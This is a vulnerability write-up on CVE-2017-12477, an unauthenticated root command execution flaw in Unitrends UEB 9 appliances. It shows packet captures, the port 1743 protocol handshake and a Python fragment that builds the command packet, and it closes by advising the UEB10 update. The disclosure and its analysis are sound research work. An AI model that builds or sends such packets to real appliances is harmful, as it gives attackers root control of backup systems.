CVE-2017-12477 is a vulnerability affecting Unitrends UEB 9 storage appliances. This vulnerability allows for unauthed root RCE of commands sent to a certain external port. (In practice, it’s slightly more complicated than that). It even returns stdout ouput from the commands back to the attacker! It’s an interesting vulnerability, and the exploit simply amounts to an alternative client to a service used by the web application.

After spending some time with the UEB 9 web application, it became clear that commands are frequently issued from the web app UI (which is running as ‘apache’), but run as ‘root’ on the applicance.

Running tcpdump on loopback provided a promising lead. First, we get tcpdump running on loopback on the application host, dumping tcp traffic to a pcap;

tcpdump tcp -i lo -w /tmp/cap1.pcap

Next, we issue the following request to the web UI, with the expectation that it will probably result in a high priv command being issued:

POST /api/hosts/?sid=1 HTTP/1.1
Host: 10.20.1.201
AuthToken: djA6ZjgzYWUwOTctYzMxOS00NzAyLTg5YmItZDUwYjlmYjk3ZjdhOjE6L3Vzci9icC9sb2dzLmRpci9ndWlfcm9vdC5sb2c6MA==
Content-Type: application/json
Content-Length: 184

{"name":"zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz","ip":"1.2.3.5","long_name":"zzzzzzzzzzzzzzzzzzzzzzzzzzzzz.zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz","aliases_str":"foo"}

Finally, we end the tcp capture and search through the resulting pcap for a bunch of ‘z’s. Sure enough, we find the packet we’re looking for:

127.0.0.1.33165 > 127.0.0.1.1743: Flags [P.], length 196
    0x0000:  4500 00f8 4b3b 4000 4006 f0c2 7f00 0001  E...K;@.@.......
    0x0010:  7f00 0001 818d 06cf 88c3 7cbb 5316 ad48  ..........|.S..H
    0x0020:  8018 0100 feec 0000 0101 080a 252b 378c  ............%+7.
    0x0030:  252b 378c a552 002d 0000 00c4 0000 0001  %+7..R.-........
    0x0040:  0000 004c 0000 00b0 636d 635f 6e65 7477  ...L....cmc_netw
    0x0050:  6f72 6b20 686f 7374 2073 6176 6520 2731  ork.host.save.'1
    0x0060:  2e32 2e33 2e34 2720 2731 2e32 2e33 2e34  .2.3.4'.'1.2.3.4
    0x0070:  2720 277a 7a7a 7a7a 7a7a 7a7a 7a7a 7a7a  '.'zzzzzzzzzzzzz
    0x0080:  7a7a 7a7a 7a7a 7a7a 7a7a 7a7a 7a7a 7a7a  zzzzzzzzzzzzzzzz
    0x0090:  2e7a 7a7a 7a7a 7a7a 7a7a 7a7a 7a7a 7a7a  .zzzzzzzzzzzzzzz
    0x00a0:  7a7a 7a7a 7a7a 7a7a 7a7a 7a7a 7a7a 7a7a  zzzzzzzzzzzzzzzz
    0x00b0:  7a27 2027 7a7a 7a7a 7a7a 7a7a 7a7a 7a7a  z'.'zzzzzzzzzzzz
    0x00c0:  7a7a 7a7a 7a7a 7a7a 7a7a 7a7a 7a7a 7a7a  zzzzzzzzzzzzzzzz
    0x00d0:  7a7a 7a7a 7a7a 7a7a 7a7a 7a7a 7a7a 7a7a  zzzzzzzzzzzzzzzz
    0x00e0:  7a7a 7a7a 7a7a 7a7a 7a7a 7a7a 7a7a 7a7a  zzzzzzzzzzzzzzzz
    0x00f0:  2720 2766 6f6f 2700                      '.'foo'.

This looks pretty good - Here’s the command we expected to be issued by the web app, being sent to a listener on 1743. Even better, it looks like this port is externally accessable:

[root@VMware-UB ~]# netstat -tulpn
...
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address    Foreign Address     State       PID/Program name 
tcp        0      0 :::1743          :::*                LISTEN      2018/xinetd         
...
udp        0      0 :::1743          :::*                            2018/xinetd   
...

We’re not done yet, though, since simply sending this packet to the listener on 1743 does not result in command execution. A look at the larger tcp stream containing our command packet reveals a packet sent from the listener on 1743, right after the webapp connected initially. A complete(ish) command sequence looks like this (The example below was selected because the command returns some output):

127.0.0.1.33167 > 127.0.0.1.1743: Flags [S], length 0

127.0.0.1.1743 > 127.0.0.1.33167: Flags [P.], length 44
    0x0000:  4500 0060 e086 4000 4006 5c0f 7f00 0001  E..`..@.@.\.....
    0x0010:  7f00 0001 06cf 818f b82a d824 786d 46a1  .........*.$xmF.
    0x0020:  8018 0100 fe54 0000 0101 080a 252b 38ac  .....T......%+8.
    0x0030:  252b 38a2 a541 0001 0000 002c 0000 0002  %+8..A.....,....
    0x0040:  0000 004c 0000 0008 436f 6e6e 6563 7400  ...L....Connect.
    0x0050:  0000 0078 0000 0008 3333 3035 3700 0000  ...x....33057...

127.0.0.1.58700 > 127.0.0.1.33057: Flags [S], length 0

127.0.0.1.33167 > 127.0.0.1.1743: Flags [P.], length 48
    0x0000:  4500 0064 7e05 4000 4006 be8c 7f00 0001  E..d~.@.@.......
    0x0010:  7f00 0001 818f 06cf 786d 46a1 b82a d850  ........xmF..*.P
    0x0020:  8018 0100 fe58 0000 0101 080a 252b 38ac  .....X......%+8.
    0x0030:  252b 38ac a552 002d 0000 0030 0000 0001  %+8..R.-...0....
    0x0040:  0000 004c 0000 001c 636d 635f 6e65 7477  ...L....cmc_netw
    0x0050:  6f72 6b20 686f 7374 6e61 6d65 2069 6e66  ork.hostname.inf
    0x0060:  6f00 0000 

127.0.0.1.1743 > 127.0.0.1.33167: Flags [P.], length 28
    0x0000:  4500 0050 e088 4000 4006 5c1d 7f00 0001  E..P..@.@.\.....
    0x0010:  7f00 0001 06cf 818f b82a d850 786d 46d1  .........*.PxmF.
    0x0020:  8018 0100 fe44 0000 0101 080a 252b 38b5  .....D......%+8.
    0x0030:  252b 38ac a549 0009 0000 001c 0000 0001  %+8..I..........
    0x0040:  0000 0062 0000 0008 3732 3030 0000 0000  ...b....7200....

127.0.0.1.33057 > 127.0.0.1.58700: Flags [P.], length 15
    0x0000:  4500 0043 9cde 4000 4006 9fd4 7f00 0001  E..C..@.@.......
    0x0010:  7f00 0001 8121 e54c 1ef9 a472 5865 1667  .....!.L...rXe.g
    0x0020:  8018 0100 fe37 0000 0101 080a 252b 38db  .....7......%+8.
    0x0030:  252b 38ac 6e61 6d65 2056 4d77 6172 652d  %+8.name.VMware-
    0x0040:  5542 0a                                  UB.
...

To summarize;

  1. Client connects to 1743
  2. Server specifies a random, high numbered port
  3. Client connects to that random, high numbered port
  4. Client sends a command to 1743
  5. Server executes command and returns output via the random port

The packet capture shown above is somewhat abridged - both client and server continue to exchange a few packets after the final packet in the sequence shown above, but we don’t really care since our command has already been executed. Another thing to note is that while there will be some added complexity involved in setting up another connection, our exploit still only needs to prepare and send a single packet to port 1743.

Our only remaining task, then, is to analyze the command packet and determine how to construct our own data section, which will be accepted by the service on 1743. My informal strategy for doing this is to first get the ui to issue an identical commands multiple times, and see if anything changes from packet to packet, indicating some kind of nonce or count. In this example there’s nothing like that. Next, I get the ui to send multiple commands of different lengths, and again check to see what changes from packet to packet; these would usually be things like checksums and length values; This example contains a few fields of this type.

The final packet generator is probably best underestood by simply looking at a piece of the final exploit code:

cmd_len = chr(len(cmd) + 3)
packet_len = chr(len(cmd) + 23)

packet = '\xa5\x52\x00\x2d'
packet += '\x00' * 3
packet += packet_len
packet += '\x00' * 3
packet += '\x01'
packet += '\x00' * 3
packet += '\x4c'
packet += '\x00' * 3
packet += cmd_len
packet += cmd
packet += '\x00' * 3

At this point, we have everything we need to put together the final exploit, available here & here. It’s extremely reliable, since we’re just using a service on the application server as designed (more or less…), as opposed to causing a crash by way of a memory corruption.

This root RCE is fixed in UEB10. You should update.